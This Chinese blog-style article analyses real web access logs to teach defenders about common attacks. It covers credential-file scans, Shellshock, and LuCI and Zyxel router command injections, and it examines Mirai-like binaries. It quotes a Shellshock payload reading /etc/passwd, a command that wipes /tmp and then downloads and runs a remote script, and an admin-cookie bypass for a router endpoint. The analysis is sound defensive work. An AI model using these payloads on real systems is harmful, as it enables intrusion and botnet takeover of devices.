访问日志分析实例:从中学习网络攻击的手段

2024-03-25 00:01:50

互联网满是流矢暗箭。一旦一个公有IP暴露到公网马上就会大量的恶意地址扫描、尝试、攻击和渗透。所以暴露再公网之前确保你主机上任何危险的端口(22,873,1433,1521,1521,2375,3306,3389,5423,6379,27017,271018)。当然除了安全加固和防护之外,需要学习一些攻击的套路对我们做好安全也是很有必要的。所以本文虫虫给大家介绍一下如何通过访问日志来学习网络攻击的套路(所有的日志均来自线上Web服务器的访问日志)。

凭证和配置发现

针对公网网站最常见的攻击(扫描)是搜索凭证的目录遍历攻击。其中最主要的似乎是寻找.env,可以由该文件直接发现一些配置机密信息,比如凭据和密码、后端数据库IP、目录等。

攻击者还会扫描其他可能的包含密码等的文件,比如AWS凭证和配置文件(aws.yml),以及.git/config仓库配置信息。

以及其他可能的公共目录扫描。

经验教训:屏蔽一下对外公开的文件和目录,最低限度的显示对外透露的信息,包括代码注释,js配置信息可以考虑进行代码混淆和加密。对必须公开工具或目录,可以考虑添加一些身份验证,并限制对特定IP地址的访问。

shellshock攻击

利用Shellshock漏洞的攻击也常见,比如一下日志:

该漏洞利用使用有漏洞版本的bash执行CGI脚本的Web服务器(虽然CGI的Web现在已经绝迹了),该漏洞可以进行远程代码执行,攻击者可以用它执行任意命令。当CGI程序启动时,它会根据请求的内容设置环境变量,值得注意的是 HTTP_USER_AGENT内容中包含“() { :; }; ”内容时,bash会将其解释为需要执行的函数。

分析上述日志,在这次特定的攻击中,攻击者通过发出GET访问,其USER_AGENT字段包含:

() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

其中 () { ignored; };部分定义了Bash函数。大括号内的内容是函数体。被忽略的命令是一个占位符;它不会影响执行,为了防止语法错误导致执行的中断。

echo Content-Type: text/html; echo ;:这些命令是函数体的一部分。他们将HTTP响应的Content-Type标头设置为“text/html”并回显空行。

/bin/cat /etc/passwd:这是函数中嵌入的恶意命令。它尝试使用cat命令显示内容/etc/passwd文件,其中包含用户帐户信息。

如果攻击成功,理论上攻击者将获得对/etc/passwd的信息,并拥有在服务器上执行任意代码的机制。

与目录遍历攻击一样,攻击者猜测常见目录和路径:

注入攻击

LuCI注入

也有一些攻击时针对特定的目标,比如下面的日志显示攻击目标为OpenWRT路由器的LuCI Web。该攻击尝试将命令注入表单的国家/地区字段,该表单下载并执行托管远程服务器的 hell脚本。

恶意代码位于经过URL编码的URL中。对URL进行解码结果:

/cgi-bin/luci/;stok=/locale:LuC界面中CGI脚本的路径。LuCI是一个基于 Web的界面,适用于OpenWRT路由器和类似的嵌入式设备。

?form=country&operation=write&country=:这些是传递给CGI脚本的参数。

$(cd /tmp; rm -rf *; wget xxx.xxx.xxx/tenda.sh; chmod 777 tenda.sh;./tenda.sh):这是一个用执行的bash替换命令,并将输出替换到 URL 中。该命令正在尝试cd进入/tmp文件夹,删除所有文件,从远程服务器下载shell脚本并执行。

下载该脚本进行进一步调查,目标文件是一个恶意的二进制文件(并非shell脚本)。

这些二进制文件似乎以目标设备的体系结构命名,这是有道理的,因为攻击者可能不知道设备正在运行什么体系结构。作为额外的预防措施,继续下载与环境不兼容的二进制文件,并用Ghidra进行进一步调查。发现查看二进制文件只有3 个函数,没有大量字符串数据。然而,有一大段数据是这样的。

明显,这是是一个嵌入的ELF二进制文件,采用UPX 打包。 一些快速研究表明,恶意软件作者经常滥用它来混淆和压缩其二进制文件。尝试使用UPX来解压二进制文件一下:

upx -d mips


居然成功了。查看更多信息:

带有ST标头的M-SEARCH为一个UPnP命令,该命令用于查找支持DIAL协议的设备。根据随附的XML有效负载,该恶意软件似乎被编程为扫描网络上存命令注入攻击的漏洞的华为设备。据此判断该文件为Mirai僵尸蠕虫的某个变种。

Zyxel Injection

另外一个相类似的日志:

该GET请求URL中有一个shell命令:

似乎是在利用Zyxel设备中的漏洞。前面漏洞探索一样,下载该二进制文件并用Ghidra分析,可以直接查看相关信息(没加壳):

似乎以路由器为目标,要利用此漏洞,攻击者可以通过POST请求发送到“/goform/set_LimitClient_cfg”URL:

...

确保“Cookie”标头设置为“user=admin”,因为程序没有对身份验证或授权进行特殊检查。这意味着无需事先进行身份验证即可利用该漏洞。

据此判断,这也可能是 Mirai僵尸蠕虫之一,可能主要针对是路由器。这和现在流行的物联网僵尸网络的趋势很吻合,以物联网设备的攻击,使其沦为肉鸡。

总结

根据Web访问日志来分析网络攻击的方式,可以给我们一些有用的信息,用来加固自己安全访问策略。

当然可以实时分析日志,对其进行分析统计关联iptables或者ipban访问对恶意攻击者进行封禁,这就是属于Web防火墙的范畴了,笔者曾经写过一个应用app-waf(可以搜索github或者gitee)可通过对web日志进行实时分析和封禁。